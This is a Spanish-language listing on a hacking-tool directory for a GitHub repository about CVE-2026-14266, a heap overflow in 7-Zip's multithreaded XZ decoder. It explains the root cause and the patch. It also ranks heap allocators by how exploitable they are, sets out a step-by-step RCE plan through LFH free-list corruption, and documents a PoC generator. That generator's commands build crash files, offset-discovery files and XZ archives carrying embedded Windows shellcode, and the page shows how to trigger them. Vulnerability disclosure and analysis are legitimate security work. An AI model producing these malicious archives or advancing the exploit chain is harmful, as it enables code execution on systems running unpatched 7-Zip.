Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-14266 — 7-Zip XZ Decoder Heap Buffer Overflow - Análisis completo, causa raíz, PoC y hoja de ruta de explotación RCE | Kitploit
Herramientas/GitHubGitHub/liyuxuan504-byte/cve-2026-14266
Forensia de MemoriaAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónIngeniería InversaShellcodeDepuradoresAnálisis de BinariosDesarrollo de PayloadsExplotación de Binarios
GitHubliyuxuan504-byte/cve-2026-14266
117hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-14266

7-Zip XZ Decoder Heap Buffer Overflow - Análisis completo, causa raíz, PoC y hoja de ruta de explotación RCE

Ver Repositorio

CVE-2026-14266 — Desbordamiento de búfer en el montículo del decodificador XZ de 7-Zip

Severidad crítica | CVSS: 8.8 (Alta) | CWE-122: Desbordamiento de búfer basado en montículo
Afectado: 7-Zip ≤ 26.01 | Parcheado: 7-Zip 26.02 (2026-06-25)
Descubierto y analizado por: Li Yuxuan (liyuxuan504-byte) y su equipo


Resumen ejecutivo

Existe un desbordamiento de búfer en el montículo en la ruta de decodificación XZ multihilo de las versiones de 7-Zip ≤ 26.01. Un archivo .xz manipulado de forma maliciosa puede provocar una escritura fuera de los límites más allá del búfer de salida asignado en el montículo, lo que conduce a:

  • Denegación de servicio (confirmada) — fallo fiable con STATUS_ACCESS_VIOLATION (0xC0000005)
  • Ejecución remota de código (potencial) — el desbordamiento controlado del montículo permite la corrupción de punteros de función / vtable bajo las condiciones adecuadas de disposición del montículo

La vulnerabilidad reside en MixCoder_Code() en C/XzDec.c, donde la rama SingleBuf (outBuf) pasa un destLen2 sin comprobar al decodificador LZMA2 sin limitarlo contra la capacidad restante del búfer (outBufSize - outWritten).

Cualquier sistema o aplicación que utilice una versión vulnerable de 7-Zip (o 7z.dll) para extraer archivos .xz no confiables está en riesgo: la ruta multihilo está habilitada de forma predeterminada en sistemas multinúcleo.


Análisis detallado de la vulnerabilidad

Ruta de código afectada

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(rama outBuf, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← SIN límite de contenedor
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← puede superar dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → bucle de copia por bloques LZMA2: memcpy(dic + dicPos, src, size)
            → dicPos supera dicBufSize → DESBORDAMIENTO DEL MONTÍCULO

Causa raíz (26.01 vs 26.02)

Vulnerable (26.01) — C/XzDec.c ~L606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← valor bruto, sin limitación!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← rastrea el total pero nunca comprueba
}

Corregido (26.02) — C/XzDec.c ~L605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NUEVA comprobación de límites
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // inconsistencia de datos → abortar
        destLen2 -= p->outWritten;       // limitar a la capacidad restante!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

La corrección son 3 líneas. Resta p->outWritten (bytes ya escritos en este outBuf) de destLen2 antes de pasarlo al decodificador LZMA2, asegurando que el decodificador nunca pueda escribir más allá del búfer asignado.

¿Por qué solo multihilo?

En la ruta de un solo hilo, XzUnpacker_Code aplica su propio límite rem basado en unpackSize antes de llamar a MixCoder_Code. Este límite restringe correctamente la salida. La ruta SingleBuf multihilo omite este límite porque pasa destLenOrig directamente: el límite ascendente es ineficaz cuando destLen está preestablecido al tamaño completo de entrada restante en lugar de la capacidad restante real del búfer.


Análisis de explotación

Comportamiento de asignación del montículo

El outBuf se asigna en el montículo CRT mediante ISzAlloc_Alloc(allocMid, unpackSize):

unpackSizeAsignadorExplotabilidad
≤ 16 KBLFH (Montículo de baja fragmentación)★ Mejor para RCE — objetos adyacentes en el mismo depósito
16–64 KBMontículo de segmento (backend)Posible — corrupción de la lista libre
≥ 64 KBVirtualAlloc (alineado a página)Solo DoS — la página de guarda atrapa el desbordamiento

Estrategia RCE (ruta LFH)

El enfoque de explotación más prometedor:

  1. Usar un unpackSize pequeño (256–16384 bytes) para provocar la asignación LFH
  2. Desbordar más allá de outBuf hacia subsegmentos LFH adyacentes
  3. Corromper el puntero next de la lista libre LFH → se logra una primitiva de asignación arbitraria
  4. Asignar sobre un objetivo (puntero de función, vtable, dirección de retorno)
  5. Activar el puntero corrupto → ejecución de código

Estado actual

CapacidadEstado
DoS (fallo)✅ Confirmado, fiable en 7-Zip 26.00 x64
Desbordamiento silencioso del montículo (LFH)✅ Confirmado — escribe más allá del búfer, código de salida 2, sin fallo
Entrega de carga útil controlada✅ Totalmente controlable mediante los datos del bloque de copia LZMA2
Primitivas de disposición del montículo✅ Concepto probado — requiere ajuste de disposición específico del objetivo
Cadena RCE completa❌ En curso — necesita análisis de disposición del montículo en el objetivo

Por qué la depuración es complicada

Los depuradores convencionales (x64dbg, WinDbg) alteran el comportamiento de creación de procesos. Bajo un depurador, 7z.dll puede no cargar nunca la ruta XZ multihilo: el proceso cae silenciosamente en modo de un solo hilo donde la vulnerabilidad no se activa. El enfoque requerido:

  • Lanzar 7z.exe fuera del depurador
  • Adjuntarse en 1–2 segundos (antes del fallo)
  • O usar un mini-depurador personalizado (proporcionado en tools/)

Generador de PoC

poc/poc-cve-2026-14266-rce.py es un generador de exploits XZ con todas las funciones:

Inicio rápido

# Confirmación de fallo (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Descubrimiento de offset (patrón cíclico):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Carga útil de shellcode:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Carga útil binaria personalizada:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Parámetros clave

ParámetroDescripciónRecomendado
--unpack-sizeunpackSize declarado del bloque (= tamaño de asignación de outBuf)256–4096 para RCE por LFH
--overflowBytes totales a escribir más allá de outBuf4096–32768
--chunk-sizeTamaño de datos del bloque de copia LZMA2 (1–65535)NO debe dividir uniformemente unpackSize! Usar un primo (97) o --force-align-overflow
--payload-cyclicPatrón cíclico para descubrimiento de offsetUsar primero, luego reemplazar con la carga útil real
--payload-shellcodeIncrustar shellcode Win x64 WinExec("calc.exe")~276 bytes

Activación

# Multihilo (ruta vulnerable):
7z.exe x poc.xz -so -mmt=2 > NUL

# Un solo hilo (NO vulnerable — para comparación):
7z.exe x poc.xz -so -mmt=1 > NUL

Resultados de las pruebas

Probado en: Windows 11 Pro x64 (compilación 26200) + 7-Zip 26.00

Descargar herramienta